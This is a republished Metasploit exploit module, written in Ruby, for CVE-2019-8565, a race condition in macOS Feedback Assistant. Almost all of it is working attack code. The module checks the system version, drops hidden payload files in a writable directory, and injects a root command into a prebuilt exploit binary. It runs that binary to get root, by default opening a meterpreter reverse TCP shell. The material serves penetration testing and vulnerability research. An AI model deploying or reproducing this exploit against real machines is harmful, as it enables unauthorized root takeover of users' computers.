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Mac OS X Feedback Assistant Race Condition

Mac OS X Feedback Assistant Race Condition
Posted May 22, 2019
Authored by timwr, CodeColorist | Site metasploit.com

This Metasploit module exploits a race condition vulnerability in Mac's Feedback Assistant. A successful attempt would result in remote code execution under the context of root.

tags | exploit, remote, root, code execution
advisories | CVE-2019-8565
MD5 | 92e9e59de8b1c44532025e2d75591bf9

Mac OS X Feedback Assistant Race Condition

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Feedback Assistant Race Condition',
'Description' => %q{
This module exploits a race condition vulnerability in Mac's Feedback Assistant.
A successful attempt would result in remote code execution under the context of
root.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8565'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'osx', 'python', 'unix' ],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

case target['Arch']
when ARCH_X64
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_executable_file(payload_file, binary_payload)
root_cmd = payload_file
when ARCH_PYTHON
root_cmd = "echo \"#{payload.encoded}\" | python"
else
root_cmd = payload.encoded
end
root_cmd = root_cmd + " & \0"
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end

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